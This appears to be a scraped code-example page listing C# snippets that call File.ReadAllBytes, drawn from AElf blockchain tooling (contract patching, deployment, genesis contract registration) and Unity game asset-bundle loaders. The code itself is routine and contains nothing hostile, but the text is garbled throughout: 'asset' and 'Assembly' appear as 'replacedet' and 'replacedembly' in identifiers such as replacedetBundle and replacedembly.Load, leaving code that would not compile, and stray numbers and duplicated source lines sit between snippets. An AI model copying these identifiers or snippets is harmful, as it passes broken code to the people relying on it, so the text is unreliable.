replacedetBundleCreateRequest bundle = replacedetBundle.CreateFromMemory(File.ReadAllBytes(BundlePath));
yield return bundle;
if (bundle == null)
{
Debug.LogError($"Error while loading Anarchyreplacedets. Make sure that file \"{BundlePath}\" exists.");
yield break;
}
Bundle = bundle.replacedetBundle;
}
19
Source : Program.cs
with MIT License
from AElfProject
with MIT License
from AElfProject
private static void Run(Options o)
{
string saveAsPath;
if (!File.Exists(o.ContractDllPath))
{
Console.WriteLine($"error: Contract DLL cannot be found in specified path {o.ContractDllPath}");
return;
}
if (o.Overwrite)
{
saveAsPath = o.ContractDllPath;
Console.WriteLine($"[CONTRACT-PATCHER] Overwriting {saveAsPath}");
}
else
{
saveAsPath = o.ContractDllPath + ".patched";
Console.WriteLine($"[CONTRACT-PATCHER] Saving as {saveAsPath}");
}
using var application = AbpApplicationFactory.Create<ContractDeployerModule>();
application.Initialize();
var contractPatcher = application.ServiceProvider.GetRequiredService<IContractPatcher>();
var patchedCode = contractPatcher.Patch(File.ReadAllBytes(o.ContractDllPath), o.IsSystemContract);
if (!o.SkipAudit)
{
try
{
var auditor = application.ServiceProvider.GetRequiredService<IContractAuditor>();
auditor.Audit(patchedCode, null, o.IsSystemContract);
}
catch (CSharpCodeCheckException ex)
{
foreach (var finding in ex.Findings)
{
// Print error in parsable format so that it can be shown in IDE
Console.WriteLine($"error: {finding.ToString()}");
}
}
}
File.WriteAllBytes(saveAsPath, patchedCode);
}
19
Source : RCManager.cs
with GNU General Public License v3.0
from aelariane
with GNU General Public License v3.0
from aelariane
public static IEnumerator Downloadreplacedets()
{
if (Loaded)
{
yield break;
}
if (File.Exists(CachePath))
{
var req = replacedetBundle.CreateFromMemory(File.ReadAllBytes(CachePath));
yield return req;
if (req == null || req.replacedetBundle == null) { }
else
{
replacedet = req.replacedetBundle;
Loaded = true;
yield break;
}
}
WWW www = new WWW(DownloadPath);
yield return www;
if (www.replacedetBundle != null)
{
replacedet = www.replacedetBundle;
File.WriteAllBytes(CachePath, www.bytes);
Loaded = true;
}
}
19
Source : ContractsDeployer.cs
with MIT License
from AElfProject
with MIT License
from AElfProject
private static byte[] GetCode(string dllName, string contractDir, bool isPatched)
{
var dllPath = Directory.Exists(contractDir)
? Path.Combine(contractDir, isPatched ? $"{dllName}.dll.patched" : $"{dllName}.dll")
: replacedembly.Load(dllName).Location;
return File.ReadAllBytes(dllPath);
}
19
Source : IDefaultContractZeroCodeProvider.cs
with MIT License
from AElfProject
with MIT License
from AElfProject
public virtual void SetDefaultContractZeroRegistrationByType(Type defaultZero)
{
var dllPath = Directory.Exists(_contractOptions.GenesisContractDir)
? Path.Combine(_contractOptions.GenesisContractDir, $"{defaultZero.replacedembly.GetName().Name}.dll")
: defaultZero.replacedembly.Location;
var code = File.ReadAllBytes(dllPath);
DefaultContractZeroRegistration = new SmartContractRegistration()
{
Category = GetCategory(),
Code = ByteString.CopyFrom(code),
CodeHash = HashHelper.ComputeFrom(code)
};
}
19
Source : OsBlockchainNodeContextService.cs
with MIT License
from AElfProject
with MIT License
from AElfProject
private Transaction GetTransactionForDeployment(Type contractType, Hash systemContractName,
int category,
List<ContractInitializationMethodCall> contractInitializationMethodCallList = null)
{
var dllPath = Directory.Exists(_contractOptions.GenesisContractDir)
? Path.Combine(_contractOptions.GenesisContractDir, $"{contractType.replacedembly.GetName().Name}.dll")
: contractType.replacedembly.Location;
var code = File.ReadAllBytes(dllPath);
return GetTransactionForDeployment(code, systemContractName, category, contractInitializationMethodCallList);
}
See More Examples